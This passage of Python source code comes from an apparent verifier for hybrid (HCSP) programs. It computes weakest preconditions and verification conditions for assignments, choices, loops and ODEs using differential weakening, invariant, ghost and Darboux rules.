compute_closure(e.exprs[1]))\n        elif e.op == '||':\n            return expr.LogicExpr('||', compute_closure(e.exprs[0]), compute_closure(e.exprs[1]))\n        elif e.op == '!':\n            return compute_closure(expr.neg_expr(e))\n        else:\n            raise NotImplementedError\n\n    else:\n        raise NotImplementedError\n\n# Return the relexpression 'denomibator != 0' for term e.           \ndef demoninator_not_zero(e):\n    if not isinstance(e, expr.Expr):\n        raise NotImplementedError\n\n    if not isinstance(e, str):\n        e = str(e)\n    \n    e = simplify(sympify(e.replace('^', '**')))\n    _, denominator = fraction(e)\n    denominator = expr_parser.parse(str(denominator).replace('**', '^'))\n\n    return expr.RelExpr('!=', denominator, expr.AConst(0))\n\n# Create a new AVar by adding suffix.\n# s is the root var name, names is the set of names being used.\ndef create_newvar(s, names):\n    if not isinstance(s, str):\n        raise AssertionError\n    # If s is already a new variable name, return the AVar object of s.\n    if s not in names:\n        return expr.AVar(s)\n    # Increase the suffix number until it's a new variable name.\n    suffix_n = 1\n    while (s + str(suffix_n) in names):\n        suffix_n = suffix_n + 1\n    return expr.AVar(s + str(suffix_n))\n\n\nclass CmdInfo:\n    \"\"\"Information associated to each HCSP program branch.\"\"\"\n    def __init__(self):\n        # Pre-condition and post-condition are assertions.\n        self.pre = None\n        self.post = None\n\n        # List of verification conditions for this command.\n        self.vcs = []\n\n        # Type of the parent program.\n        self.parent_type = None\n\n        # Equation dict for ODEs.\n        self.eqs_dict = dict()\n\n        # Assumptions for HCSPs.\n        self.assume = []\n\n        # Invariants for loop at this position.\n        self.inv = []\n\n        # Use differential weakening rule or not\n        # It's True by default, which means we apply dw rule on ODE by default.\n        # After applying dw rule, set dw to be False and one of the other rules to be True to verify invariants. \n        self.dw = True\n\n        # Use solution axiom or not\n        self.sln_rule = False\n\n        # Use the trivial semantics or not.(True and False is the invariant for all ODEs)\n        self.tv = False\n\n        # Use differiential invariant rule.\n        self.dI_rule = False\n\n        # Invariants in differiential invariant for ODEs.\n        self.dI_inv = None\n\n        # Differential cuts for ODEs.\n        self.diff_cuts = []\n\n        # dG invariants for ODEs.\n        self.dG_inv = None\n\n        # Ghost invariants for new ODEs in which ghost equation is added.\n        self.ghost_inv = None\n\n        # Names of related ghost variables\n        # Note that it does not include all ghost variable names of the ODE, but the related ones in this branch.\n        # For example, in the branch with invariant x * y > 0, ghost z is not in ghost_vars.\n        self.ghost_vars = []\n\n        # Computed differential equations for ghosts.\n        self.ghost_eqs = dict()\n\n        # Use darboux rule for ODEs.\n        self.dbx_rule = False\n\n        # Invariants in dbx rule or ODEs.\n        self.dbx_inv = None\n\n        # Dbx cofactor for ODEs\n        self.dbx_cofactor = None\n\n        # Use barrier certificate rule or not\n        self.barrier_rule = False \n\n        # Add barrier invariant for ODEs.\n        self.barrier_inv = None\n\n        # Use conjunction rule\n        self.conj_rule = False\n\n        # Use andR rule\n        self.andR = False\n\n    def __str__(self):\n        res = \"\"\n        res += \"pre = %s\\n\" % self.pre\n        res += \"post = %s\\n\" % self.post\n        for vc in self.vcs:\n            res += \"vc: %s\\n\" % vc\n        if self.inv is not None:\n            res += \"inv: %s\\n\" % self.inv\n        if self.ghost_inv is not None:\n            res += \"ghost_inv: %s\\n\" % self.ghost_inv\n        if self.ghost_eqs is not None:\n            for ghost_var, eq in self.ghost_eqs.items():\n                res += \"ghost_eq: %s_dot = %s\\n\" % (ghost_var, str(eq))\n        for diff_cut in self.diff_cuts:\n            res += \"diff_cut: %s\\n\" % diff_cut\n\n        return res\n\nclass Condition:\n    \"\"\"Stores a condition(pre-condition, post-condition, verification condition) and the parts of the program that it originates from.\"\"\"\n    def __init__(self, expr, path=[], origins=[], blabel=None, blabel_depth=0, bottom_loc=None, categ=None, isVC=False):\n        # The expression stating the condition itself\n        self.expr = expr\n        # The positions of hps where the condition originates from\n        self.path = path\n        # The locations of assertions and expressions that the condition originates from\n        self.origins = origins\n        # The location of the bottom-most assertion assocated with the condition\n        self.bottom_loc = bottom_loc\n        # The category of VC, used in VC generated by loop and ODE,\n        # which can be \"init\" or \"maintain\"\n        self.categ = categ\n\n        # The depth at which new branch labels are added while computing a wp,\n        # only acquired when the Condition is a computed wp, otherwise, set as 0 by default.\n        self.blabel_depth = blabel_depth\n\n        # The branch label of this condition \n        self.blabel = blabel\n\n        # Whether this condition is a verification condition or not\n        self.isVC = isVC\n\n        if self.isVC:\n            # Compute the composite label when vc is True\n            if self.categ and self.blabel:\n                self.comp_label = label.CompLabel(categ_label=label.CategLabel(categ=self.categ),\n                                                  branch_label=self.blabel)\n            elif self.categ and not self.blabel:\n                self.comp_label = label.CategLabel(categ=self.categ)\n            elif not self.categ and self.blabel:\n                self.comp_label = self.blabel\n            else:\n                self.comp_label = None\n\n            # The solver used to verify this verification condition.\n            # Set as 'z3' by default.\n            self.solver = 'z3'\n\n    def __str__(self):\n        return str(self.expr)\n\n\nclass OriginLoc:\n    \"\"\"Location of an assertion(pre-condition, post-condition, invariant) or expression\n    that a Condition originates from\"\"\"\n    def __init__(self, index=None, isPre=False, isPost=False, isInv=False, isGhost=False, isConstraint=False, hp_pos=None):\n        # The index of the assertion\n        self.index = index\n        # Whether it is pre-condition of the whole program\n        self.isPre = isPre\n        # Whether it is post-condition of the whole program\n        self.isPost = isPost\n        # Whether it is invariant\n        self.isInv = isInv\n        # Whether it is a ghost introduction\n        self.isGhost = isGhost\n        # Whether it is ode constraint\n        self.isConstraint = isConstraint\n        # Only required if it is an invariant or constraint.\n        # The position of the hcsp program, to which the invariant is attached.\n        self.hp_pos = hp_pos\n\n\nclass CmdVerifier:\n    \"\"\"Contains current state of verification of an HCSP program.\"\"\"\n    def __init__(self, *, pre, hp, post, constants, functions=dict()):\n        # The HCSP program to be verified.\n        self.hp = hp\n\n        # The list of post conditions of the whole HCSP program\n        self.post = post\n\n        # The constants object of the HCSP program\n        self.constants = constants\n        # The list of constant predicates, for example, [g == 9.8, pi == 3.14]\n        self.constant_preds = [pred for pred in constants.preds]\n\n        # Mapping from program position to CmdInfo objects.\n        self.infos = dict()\n\n        # The conjunction of post expression\n        pre_conj = expr.list_conj(*[subpre.expr for subpre in pre])\n        # The conjunction of post expression\n        post_conj = expr.list_conj(*[subpost.expr for subpost in post])\n\n        # Dictionary of declared functions\n        # TODO: Use this below instead of scanning the expressions?\n        self.functions = functions\n\n        # Set of function names that are used\n        fun_names = hp.get_fun_names().union(pre_conj.get_fun_names(), post_conj.get_fun_names())\n\n        # Set of var_names that are used, the names of AVar expression \n        var_names = hp.get_vars().union(pre_conj.get_vars(), post_conj.get_vars())\n\n        # Set of names(function names and var_names) that are used\n        self.names = fun_names.union(var_names)\n\n        # Set of program variables that are used\n        self.variable_names = set()\n        self.compute_variable_set()\n\n        # Set of functions with zero arity that are used, which can be treated as constants\n        zero_arity_funcs = hp.get_zero_arity_funcs().union(pre_conj.get_zero_arity_funcs(), post_conj.get_zero_arity_funcs())\n\n        self.constant_names = zero_arity_funcs.union(var_names - self.variable_names)\n\n        # Initialize info for the root object. Place pre-condition and post-condition.\n        # pos is a pair of two tuples. \n        # pos[0] is the position of the sub_hp in hp.\n        # pos[1] is the number of subproof of the same sub_hp\n        root_pos = ((),())\n        self.infos[root_pos] = CmdInfo()\n        self.infos[root_pos].pre = [Condition(expr=subpre.expr, \n                                              origins=[OriginLoc(isPre=True, index=idx)]) \n                                        for idx, subpre in enumerate(pre)]\n        self.infos[root_pos].post = [Condition(expr=subpost.expr, \n                                               origins=[OriginLoc(isPost=True, index=idx)],\n                                               bottom_loc=OriginLoc(index=idx, isPost=True)\n                                               ) \n                                        for idx, subpost in enumerate(post)]\n\n        # If there are pre-conditions of constants in the form: A op c, \n        # in which A is a constant symbol, c doesn't include variable symbols, op is in RelExpr.op\n        # the pre-conditions will always hold.\n        # Add this kind of pre-conditions into assumptions in HCSPs.\n        for subpre in self.infos[root_pos].pre:\n            subpre_expr = subpre.expr\n            # Replace the FunExpr by corresponding LogicExpr or OpExpr\n            subpre_expr = expr.subst_all_funcs(subpre_expr, self.functions)\n\n            # Split the subpre_expr if it is a conjunction, for example, A >= 0 && x >= A\n            subpre_exprs = expr.split_conj(subpre_expr)\n            for sub_expr in subpre_exprs:\n                # vars is not empty and does not include variable names.\n                if (sub_expr.get_vars() or sub_expr.get_fun_names()) \\\n                 and sub_expr.get_vars().isdisjoint(self.variable_names):\n                    self.infos[root_pos].assume.append(Condition(expr=sub_expr,\n                                                                 origins=subpre.origins))\n\n    def set_andR_rule(self, pos, andR):\n        if pos not in self.infos:\n            self.infos[pos] = CmdInfo()\n        self.infos[pos].andR = andR\n\n    def __str__(self):\n        res = \"\"\n        for pos, info in self.infos.items():\n            res += str(pos) + \":\\n\"\n            res += str(info)\n        return res\n    \n    def print_info(self):\n        res = \"\"\n        for pos, info in self.infos.items():\n            res += \"%s:\\n%s\" % (pos, info)\n        return res\n\n    def simplify_expression(self, e):\n        if found_wolfram:\n            e = wl_simplify(e, self.functions)\n\n        # Use sympy to simplify\n        else:\n            e = sp_simplify(e, self.functions)\n\n        return e\n\n    def polynomial_div(self, p, q, constants):\n        \"\"\"Compute the quotient and remainder of polynomial p and q\"\"\"\n        if found_wolfram:\n            quot_remains = wl_polynomial_div(p, q, constants, self.functions)\n        else:\n            quot_remains = sp_polynomial_div(p, q, self.functions)\n\n        return quot_remains\n\n    def is_polynomial(self, e, constants=set()): \n        \"\"\"Return True if the given expression is a polynomial, and False otherwise.\"\"\"\n        if found_wolfram:\n            result = wl_is_polynomial(e, self.functions, constants)\n        else:\n            result = sp_is_polynomial(e, self.functions, constants)\n\n        return result\n\n    def compute_variable_set(self, pos=tuple()):\n        \"\"\"Compute variable name set for hcsp program, in which variable values can be changed by Assign, RandomAssign and ODE\"\"\"\n        cur_hp = get_pos(self.hp, pos)\n\n        if isinstance(cur_hp, hcsp.Skip):\n            pass\n\n        elif isinstance(cur_hp, hcsp.Assign):\n            if not isinstance(cur_hp.var_name, expr.AVar):\n                raise NotImplementedError\n            self.variable_names.add(cur_hp.var_name.name)\n\n        elif isinstance(cur_hp, hcsp.RandomAssign):\n            if not isinstance(cur_hp.var_name, expr.AVar):\n                raise NotImplementedError\n            self.variable_names.add(cur_hp.var_name.name)\n\n        elif isinstance(cur_hp, hcsp.IChoice):\n            for i in range(len(cur_hp.hps)):\n                sub_pos = pos + (i,)\n                self.compute_variable_set(pos=sub_pos)\n\n        elif isinstance(cur_hp, hcsp.Sequence):\n            for i in range(len(cur_hp.hps)):\n                sub_pos = pos + (i,)\n                self.compute_variable_set(pos=sub_pos)\n\n        elif isinstance(cur_hp, hcsp.Loop):\n            sub_pos = pos + (0,)\n            self.compute_variable_set(pos=sub_pos)\n\n        elif isinstance(cur_hp, hcsp.ODE):\n            for name, _ in cur_hp.eqs:\n                self.variable_names.add(name)\n\n        elif isinstance(cur_hp, hcsp.ITE):\n            for i in range(len(cur_hp.if_hps) + (0 if cur_hp.else_hp is None else 1)):\n                sub_pos = pos + (i,)\n                self.compute_variable_set(sub_pos)\n\n    def compute_branch_label(self, cur_branch=None, old_blabel=None, blabel_depth=None):\n        \"\"\"Compute the branch label for the weakest precondition.\n        {P} c {Q}, P is the wp computed by c and Q.\n\n        type: the type of the hcsp program, i.e. c.\n        cur_branch: the branch index of current branch point, acquired in IChoice, ITE, ODE.\n            Example, {P1, P2} c1 ++ c2 {Q}, P1 is computed from c1, P2 is computed from c2,\n            then the cur_branch for P1 is 1, the cur_branch for P2 is 2.\n        old_blabel: the branch label of the weakest precondition of sub-hcsp program below\n            the current point, acquired in IChoice, ITE, Sequence.\n        blabel_depth: The depth that the labels are currently extended at\n        \"\"\"\n\n        if blabel_depth == 0:\n            assert isinstance(old_blabel, label.SequenceLabel) or old_blabel is None\n            return label.SequenceLabel(label.AtomLabel(cur_branch), old_blabel)\n        else:\n            assert isinstance(old_blabel, label.SequenceLabel)\n            first_label = old_blabel.labels[0]\n            rest_labels = old_blabel.labels[1:]\n            if isinstance(first_label, label.NestLabel):\n                sublabel = first_label.sub_label\n            else:\n                sublabel = None\n            extended_first_label = self.compute_branch_label(cur_branch, sublabel, blabel_depth - 1)\n            return label.SequenceLabel(label.NestLabel(first_label.value, extended_first_label), *rest_labels)\n\n\n    def add_vc_assume(self, pos):\n        # Add assume into the hypothesis of every verification condition.\n        if self.infos[pos].assume:\n            assume = expr.list_conj(*[sub_assume.expr for sub_assume in self.infos[pos].assume])\n            asm_inv_origins = []\n            for sub_assume in self.infos[pos].assume:\n                asm_inv_origins.extend(sub_assume.origins)\n            \n            for i in range(len(self.infos[pos].vcs)):\n                vc = self.infos[pos].vcs[i]\n                self.infos[pos].vcs[i] = Condition(\n                    expr=expr.imp(assume, vc.expr), \n                    path=vc.path,\n                    blabel=vc.blabel,\n                    origins=vc.origins + asm_inv_origins,\n                    bottom_loc=vc.bottom_loc, \n                    categ=vc.categ,\n                    isVC=True\n                    )\n\n    def add_vc_constants(self, pos):\n        # Add constant predicates into the hypothesis of every verification condition.\n        if self.constant_preds:\n            constant_preds = expr.list_conj(*self.constant_preds)\n            for i in range(len(self.infos[pos].vcs)):\n                    vc = self.infos[pos].vcs[i]\n                    self.infos[pos].vcs[i] = Condition(\n                        expr=expr.imp(constant_preds, vc.expr), \n                        path=vc.path,\n                        blabel=vc.blabel,\n                        origins=vc.origins,\n                        bottom_loc=vc.bottom_loc, \n                        categ=vc.categ,\n                        isVC=True\n                        )  \n\n    def compute_wp(self, *, pos=((),())):\n        \"\"\"Compute weakest-preconditions using the given information.\"\"\"\n\n        # Obtain the hp at the given position\n        cur_hp = get_pos(self.hp, pos[0])\n        type = cur_hp.type\n\n        # The post-condition at the given position should already be\n        # available.\n        # assert pos in self.infos and self.infos[pos].post is not None\n        post = self.infos[pos].post\n\n        if isinstance(cur_hp, hcsp.Skip):\n            # Skip: {P} skip {P}\n            pre = [Condition(\n                expr=subpost.expr, \n                path=subpost.path + [pos],\n                origins=subpost.origins,\n                blabel_depth=subpost.blabel_depth,\n                blabel=subpost.blabel,\n                bottom_loc=subpost.bottom_loc, \n                categ=subpost.categ\n                ) for subpost in post]\n        \n        elif isinstance(cur_hp, hcsp.Assign):\n            # Assign: {P[e/v]} v := e {P}\n            # Compute pre-condition by replacing var_name by expr in the\n            # post-condition.\n            if not isinstance(cur_hp.var_name, expr.AVar):\n                raise NotImplementedError\n            if isinstance(cur_hp.expr, (expr.LogicExpr, expr.RelExpr)):\n                raise NotImplementedError\n            if cur_hp.var_name.name in self.constant_names:\n                raise NotImplementedError(\"Constants can not be assigned\")\n\n            var = cur_hp.var_name.name\n            pre = [Condition(\n                expr=subpost.expr.subst({var: cur_hp.expr}), \n                path=subpost.path + [pos],\n                origins=subpost.origins,\n                blabel_depth=subpost.blabel_depth,\n                blabel=subpost.blabel,\n                bottom_loc=subpost.bottom_loc,\n                categ=subpost.categ\n                ) for subpost in post]\n        \n        elif isinstance(cur_hp, hcsp.RandomAssign):\n            # RandomAssign: replace var_name by var_name_new in post and in cur_hp.expr\n            #               pre: cur_hp.expr(newvar/var_name) -> post(newvar/var_name)\n            # {(v >= e)[v0/v] -> Q[v0/v]} v := {v >= e} {Q}\n            if not isinstance(cur_hp.var_name, expr.AVar):\n                raise NotImplementedError\n            if cur_hp.var_name.name in self.constant_names:\n                raise NotImplementedError(\"Constants can not be assigned: {}\".format(cur_hp))\n\n            var_str = cur_hp.var_name.name\n\n            # Create a new var\n            newvar = create_newvar(var_str, self.names)\n            self.names.add(newvar.name)\n\n            #Compute the pre: hp.expr(newvar|var) -> post(newvar|var)\n            pre = [Condition(\n                expr=expr.imp(cur_hp.expr.subst({var_str: newvar}), subpost.expr.subst({var_str: newvar})), \n                path=subpost.path + [pos],\n                origins=subpost.origins,\n                blabel_depth=subpost.blabel_depth,\n                blabel=subpost.blabel,\n                bottom_loc=subpost.bottom_loc,\n                categ=subpost.categ\n                ) for subpost in post]\n\n        elif isinstance(cur_hp, hcsp.IChoice):\n            # IChoice: \n            #   {P1} c1 {Q}    {P2} c2 {Q}\n            # ------------------------------\n            #     {P1 && P2} c1 ++ c2 {Q}\n            # Pre-condition is the conjunction of the two pre-conditions\n            # of subprograms.\n\n            pre = []\n            for i in range(len(cur_hp.hps)):\n                sub_pos = (pos[0]+(i,), pos[1])\n                if sub_pos not in self.infos:\n                    self.infos[sub_pos] = CmdInfo()\n                sub_info = self.infos[sub_pos]\n                sub_info.post = [Condition(\n                    expr=subpost.expr,\n                    path=subpost.path,\n                    origins=subpost.origins,\n                    blabel=self.compute_branch_label(cur_branch=i+1, \n                                                     old_blabel=subpost.blabel,\n                                                     blabel_depth=subpost.blabel_depth),\n                    blabel_depth=subpost.blabel_depth+1,\n                    bottom_loc=subpost.bottom_loc,\n                    categ=subpost.categ\n                    ) for subpost in post]\n                sub_info.assume += self.infos[pos].assume\n                sub_info.parent_type = cur_hp.type\n\n                self.compute_wp(pos=sub_pos)\n\n                pre += [Condition(\n                    expr=subpre.expr, \n                    path=subpre.path,\n                    origins=subpre.origins,\n                    blabel_depth=max(0,subpre.blabel_depth-1),\n                    blabel=subpre.blabel,\n                    bottom_loc=subpre.bottom_loc, \n                    categ=subpre.categ\n                    ) \n                    for subpre in sub_info.pre]\n\n        elif isinstance(cur_hp, hcsp.ITE):\n            # ITE, if b then c1 else c2 endif\n            #                       {P1} c1 {Q}  {P2} c2 {Q}  {P3} c3 {Q}\n            #-----------------------------------------------------------------------------\n            #              {(b1 -> P1) && (!b1 && b2 -> P2)&& (!b1 && !b2 -> P3)} \n            #                      if b1 then c1 elif b2 then c2 else c3 endif \n            #                                         {Q}\n            if_hps = cur_hp.if_hps\n\n            sub_imp = []\n            if_cond_list = []\n            for i in range(len(if_hps) + 1):\n                sub_pos = (pos[0] + (i,), pos[1])\n                if sub_pos not in self.infos:\n                    self.infos[sub_pos] = CmdInfo()\n                self.infos[sub_pos].post = [Condition(\n                    expr=subpost.expr,\n                    path=subpost.path,\n                    origins=subpost.origins,\n                    blabel=self.compute_branch_label(cur_branch=i+1, \n                                                     old_blabel=subpost.blabel,\n                                                     blabel_depth=subpost.blabel_depth),\n                    blabel_depth=subpost.blabel_depth+1,\n                    bottom_loc=subpost.bottom_loc,\n                    categ=subpost.categ\n                    ) for subpost in post]\n                self.infos[sub_pos].assume += self.infos[pos].assume\n                self.infos[sub_pos].parent_type = cur_hp.type\n\n                if i == len(if_hps) and cur_hp.else_hp is None:\n                    sub_pre = self.infos[sub_pos].post\n                else:\n                    # Compute the sub-pre-condition for each sub_hp, \n                    # e.g. P1, P2, P3 for c1, c2 and c3\n                    self.compute_wp(pos=sub_pos)\n                    sub_pre = self.infos[sub_pos].pre\n\n                # Collect the all if conditions.\n                if i < len(if_hps):\n                    if_cond_list.append(if_hps[i][0])\n\n                # Compute the hypothesis of each implication\n                if i == 0:\n                    sub_cond = if_cond_list[0]\n                elif i < len(if_hps):\n                    sub_cond = expr.LogicExpr('&&', expr.neg_expr(expr.list_disj(*if_cond_list[:i])), if_cond_list[i])\n                else:\n                    sub_cond = expr.neg_expr(expr.list_disj(*if_cond_list[:]))\n\n                # Compute the implicaiton for each if_hp or else_hp\n                for subpre in sub_pre:\n                    sub_imp.append(\n                        Condition(expr=expr.imp(sub_cond, subpre.expr), \n                            path=subpre.path,\n                            origins=subpre.origins,\n                            blabel=subpre.blabel,\n                            blabel_depth=max(0,subpre.blabel_depth-1),\n                            bottom_loc=subpre.bottom_loc,\n                            categ=subpre.categ\n                            ))\n\n            pre = sub_imp\n\n        elif isinstance(cur_hp, hcsp.Sequence):\n            # Sequence of several commands, apply compute_wp from bottom to top\n            cur_post = post\n            \n            for i in reversed(range(len(cur_hp.hps))):\n                sub_pos = (pos[0] + (i,), pos[1])\n                if sub_pos not in self.infos:\n                    self.infos[sub_pos] = CmdInfo()\n                sub_info = self.infos[sub_pos]\n                sub_info.post = cur_post\n                sub_info.assume += self.infos[pos].assume\n                sub_info.parent_type = cur_hp.type\n\n                self.compute_wp(pos=sub_pos)\n                cur_post = sub_info.pre\n            pre = cur_post\n            pre = [Condition(expr=subpre.expr, \n                    path=subpre.path,\n                    origins=subpre.origins,\n                    blabel=subpre.blabel,\n                    blabel_depth=subpre.blabel_depth,\n                    bottom_loc=subpre.bottom_loc, \n                    categ=subpre.categ\n                    ) for subpre in pre]\n\n        elif isinstance(cur_hp, hcsp.Loop):\n            # Loop, currently use the invariant that users offered.\n            #       {I} c {I}       I -> Q\n            # -----------------------------------------\n            #              {I} (c)* {Q}\n\n            if cur_hp.constraint != expr.true_expr:\n                raise NotImplementedError\n\n            if not cur_hp.inv:\n                raise AssertionError(\"Loop invariant at position %s is not set.\" % str(pos))\n\n            # for sub_inv in cur_hp.inv:\n            #     if isinstance(sub_inv.expr, expr.LogicExpr):\n            #         raise NotImplementedError(\"Logic expression should be split into several relational expressions\")\n\n            all_invs = [sub_inv.expr for sub_inv in cur_hp.inv]\n\n            # One verification condition is I -> Q.\n            for i, subpost in enumerate(post):\n                self.infos[pos].vcs.append(\n                    Condition(expr=expr.imp(expr.list_conj(*all_invs), subpost.expr), \n                                        path=subpost.path,\n                                        blabel=subpost.blabel,\n                                        origins=subpost.origins + [OriginLoc(index=i, isInv=True, hp_pos=pos[0]) for i in range(len(cur_hp.inv))],\n                                        bottom_loc=subpost.bottom_loc,\n                                        categ=subpost.categ,\n                                        isVC=True\n                                        ))\n\n            # Maintain the invariant: {I} c {I}\n            body_pos = (pos[0] + (0,), pos[1])\n            if body_pos not in self.infos:\n                self.infos[body_pos] = CmdInfo()\n            body_info = self.infos[body_pos]\n            body_info.post = [Condition(expr=sub_inv.expr,\n                                        origins=[OriginLoc(index=i, isInv=True, hp_pos=pos[0])],\n                                        bottom_loc=OriginLoc(index=i, isInv=True, hp_pos=pos[0]),\n                                        categ=\"maintain\")\n                                for i, sub_inv in enumerate(cur_hp.inv)]\n            body_info.pre = [Condition(expr=sub_inv.expr, \n                                       origins=[OriginLoc(index=i, isInv=True, hp_pos=pos[0])],\n                                       bottom_loc=OriginLoc(index=i, isInv=True, hp_pos=pos[0]))\n                                for i, sub_inv in enumerate(cur_hp.inv)]\n            body_info.assume += self.infos[pos].assume\n\n            self.compute_wp(pos=body_pos)\n\n            \n            # Initialize the invariant\n            pre = [Condition(expr=sub_inv.expr, \n                             origins=[OriginLoc(index=i, isInv=True, hp_pos=pos[0])],\n                             bottom_loc=OriginLoc(index=i, isInv=True, hp_pos=pos[0]), \n                             categ=\"init\") \\\n                    for i, sub_inv in enumerate(cur_hp.inv)]\n\n\n        # Reconstruct ODE\n        # Only Cut invariant\n        elif isinstance(cur_hp, hcsp.ODE):\n            # Currently assume out_hp is Skip.\n            constraint = cur_hp.constraint\n            if cur_hp.out_hp != hcsp.Skip():\n                    raise NotImplementedError\n            for name, _ in cur_hp.eqs:\n                if name in self.constant_names:\n                    raise NotImplementedError(\"Constants cannot be changed in ODEs!\")\n\n            if not constraint_examination(constraint):\n                raise AssertionError(\"Constriant is supposed to be open intervals!\")\n\n            # Construct dictionary corresponding to eqs.\n            if not self.infos[pos].eqs_dict:\n                for name, deriv in cur_hp.eqs:\n                    self.infos[pos].eqs_dict[name] = deriv\n\n            if cur_hp.rule == \"dw\":\n\n                # ODE, use differential weakening rule first to prove the hoare triple, \n                # then use other rules to prove invariant.\n    \n                # The pre-condition for dw rule is set as None initially.\n                pre_dw = None\n                ghost_vars = []\n \n                # TODO: also run if no invariants are specified? testVerify62 testVerify54 testVerify53 testVerify52 testVerify50 testVerify55\n                if cur_hp.inv is None:\n                    cur_hp.inv = (assertion.CutInvariant(expr=expr.true_expr, proof_methods=None),)\n\n                assert all(isinstance(inv, assertion.CutInvariant) for inv in cur_hp.inv)\n                inv_exprs = [inv.expr for inv in cur_hp.inv]\n                inv_conj = expr.conj(*inv_exprs)\n\n                # Add ghosts\n                # [[bar of D]] <x_dot = e, y_dot = f(x, y)> [[I]]    I && Boundary of D -> Q\n                # ----------------------------------------------------------------------------\n                #           {(D -> \\exists y I) && (!D -> Q)} <x_dot = e & D> {Q}\n                # y is a fresh variable, not occurring in <x_dot = e & D> and Q. f(x, y) satisfies\n                # Lipschitz condition.\n                if cur_hp.ghosts:\n                    for ghost in cur_hp.ghosts:\n                        # Verify the reasonablity of ghost equations.\n                        # f(x, y) should be in the form: a(x) * y + b(x), y is not in a(x) or b(x)\n                        ghost_var_degree = degree(sympify(str(ghost.diff).replace('^', '**')), gen=symbols(ghost.var))\n                        if not ghost_var_degree in {0,1}:\n                            raise AssertionError(\"Ghost equations should be linear in ghost variable!\")\n                        self.infos[pos].eqs_dict[ghost.var] = ghost.diff\n                        ghost_vars.append(ghost.var)\n                    exists_inv = expr.ExistsExpr(ghost_vars, inv_conj)\n                    init_cond = [Condition(expr=expr.imp(constraint, exists_inv), \n                                            origins=[OriginLoc(index=i, isInv=True, hp_pos=pos[0])\n                                                    for i in range(len(cur_hp.inv))] + \n                                                    [OriginLoc(index=i, isGhost=True, hp_pos=pos[0])\n                                                    for i in range(len(cur_hp.ghosts))] + \n                                                    [OriginLoc(isConstraint=True, hp_pos=pos[0])],\n                                            categ=\"init_all\",\n                                            bottom_loc=OriginLoc(index=len(cur_hp.inv)-1, isInv=True, hp_pos=pos[0]),\n                                )]\n                    \n                # Apply differential weakening (dW)\n\n                # dW Rule (always applied automatically)\n                #   [[bar of D]] <x_dot = f(x)> [[I]]      I && Boundary of D -> Q  \n                #-----------------------------------------------------------------------\n                #           {(D -> I) && (!D -> Q)} <x_dot = f(x) & D> {Q}\n                \n                # dWT: Case when no invariant is offered(I is set as true)\n                #                 Boundary of D -> Q  \n                #-----------------------------------------------------------------------\n                #           {!D -> Q} <x_dot = f(x) & D> {Q}\n                else:\n                    init_cond = [Condition(expr=expr.imp(constraint, inv.expr), \n                                    origins=[OriginLoc(index=i, isInv=True, hp_pos=pos[0]), \n                                                OriginLoc(isConstraint=True, hp_pos=pos[0])],\n                                    categ=\"init\",\n                                    bottom_loc=OriginLoc(index=i, isInv=True, hp_pos=pos[0]),\n                        ) for i, inv in enumerate(cur_hp.inv) if inv.expr is not expr.true_expr]\n\n                pre_dw = init_cond \\\n                        + \\\n                            [Condition(expr=expr.imp(expr.neg_expr(constraint), \n                                                        subpost.expr),\n                                    path=subpost.path,\n                                    blabel=self.compute_branch_label(cur_branch='skip', old_blabel=subpost.blabel, blabel_depth=subpost.blabel_depth),\n                                    blabel_depth=subpost.blabel_depth,\n                                    origins=subpost.origins + [OriginLoc(isConstraint=True, hp_pos=pos[0])],\n                                    bottom_loc=subpost.bottom_loc,\n                                    categ=subpost.categ\n                                    )\n                            for subpost in post]\n                boundary = compute_boundary(constraint)\n\n                # When I is false_expr, (I && Boundary of D -> Q) is true_expr, which can be omitted. \n                if inv_conj is not expr.false_expr:\n                    for subpost in post:\n                        e = expr.imp(expr.conj(inv_conj, boundary), subpost.expr)\n                        self.infos[pos].vcs.append(\n                            Condition(\n                                expr=e, \n                                path=subpost.path,\n                                blabel=self.compute_branch_label(cur_branch='exec', old_blabel=subpost.blabel, blabel_depth=subpost.blabel_depth),\n                                categ=subpost.categ,\n                                origins=subpost.origins + \n                                [OriginLoc(index=i, isInv=True, hp_pos=pos[0]) for i in range(len(cur_hp.inv))] + [OriginLoc(isConstraint=True, hp_pos=pos[0])],\n                                bottom_loc=subpost.bottom_loc,\n                                isVC=True\n                                ))\n                invs = []\n                for i, inv in enumerate(cur_hp.inv):\n                    sub_pos = (pos[0], pos[1] + (i,))\n                    if sub_pos not in self.infos:\n                        self.infos[sub_pos] = CmdInfo()\n\n                    self.infos[sub_pos].assume = self.infos[pos].assume + invs[:i]\n                    self.infos[sub_pos].eqs_dict = self.infos[pos].eqs_dict\n                    self.infos[sub_pos].inv = Condition(expr=inv.expr, \n                                                origins=[OriginLoc(index=i, isInv=True, hp_pos=pos[0])], \n                                                bottom_loc=OriginLoc(index=i, isInv=True, hp_pos=pos[0]))\n                    invs.append(self.infos[sub_pos].inv)\n                    self.infos[sub_pos].post = [Condition(expr=inv.expr, \n                                                origins=[OriginLoc(index=i, isInv=True, hp_pos=pos[0])], \n                                                bottom_loc=OriginLoc(index=i, isInv=True, hp_pos=pos[0]))]\n\n\n                    inv_origin = [OriginLoc(index=i, isInv=True, hp_pos=pos[0])]\n\n                    inv_vars = inv.expr.get_vars()\n                    ghost_origins = [OriginLoc(index=idx, isGhost=True, hp_pos=pos[0]) \\\n                        for idx, var in enumerate(ghost_vars) if var in inv_vars]\n        \n                    origins = inv_origin + ghost_origins\n                    # Invariant triple trivally holds \n                    if inv.rule is None and inv.expr in (expr.true_expr, expr.false_expr):\n                        assert inv.rule_arg is None\n                    \n                    # Use dI rule\n                    elif inv.rule == \"di\" or \\\n                    (inv.rule is None and inv.expr not in (expr.true_expr, expr.false_expr)):\n                        assert inv.rule_arg is None\n\n                        dI_inv = self.infos[sub_pos].inv.expr          \n                        # Compute the differential of inv.\n                        # One semi-verification condition is closure of constraint -> differential of inv.\n                        # (closure of constraint is not necessary because the differential is always a closed set.)\n                        differential = compute_diff(dI_inv, eqs_dict=self.infos[sub_pos].eqs_dict, functions=self.functions)\n                        closureD = compute_closure(constraint)\n                        vc = expr.imp(closureD, differential)\n            \n                        self.infos[sub_pos].vcs.append(Condition(expr=vc, \n                                                            path=[sub_pos],\n                                                            origins=origins,\n                                                            categ=\"maintain\", \n                                                            bottom_loc=self.infos[sub_pos].inv.bottom_loc,\n                                                            isVC=True))\n                    # Use dbx rule\n                    # Cases when dbx_inv is \"e == 0\".\n                        # Use Darboux Equality Rule\n                        #    closure of D -> e_lie_deriv == g * e\n                        #--------------------------------------------    (g is the cofactor)\n                        #   {e == 0} <x_dot = f(x) & D> {e == 0}\n                    # Cases when dbx_inv is e >(>=) 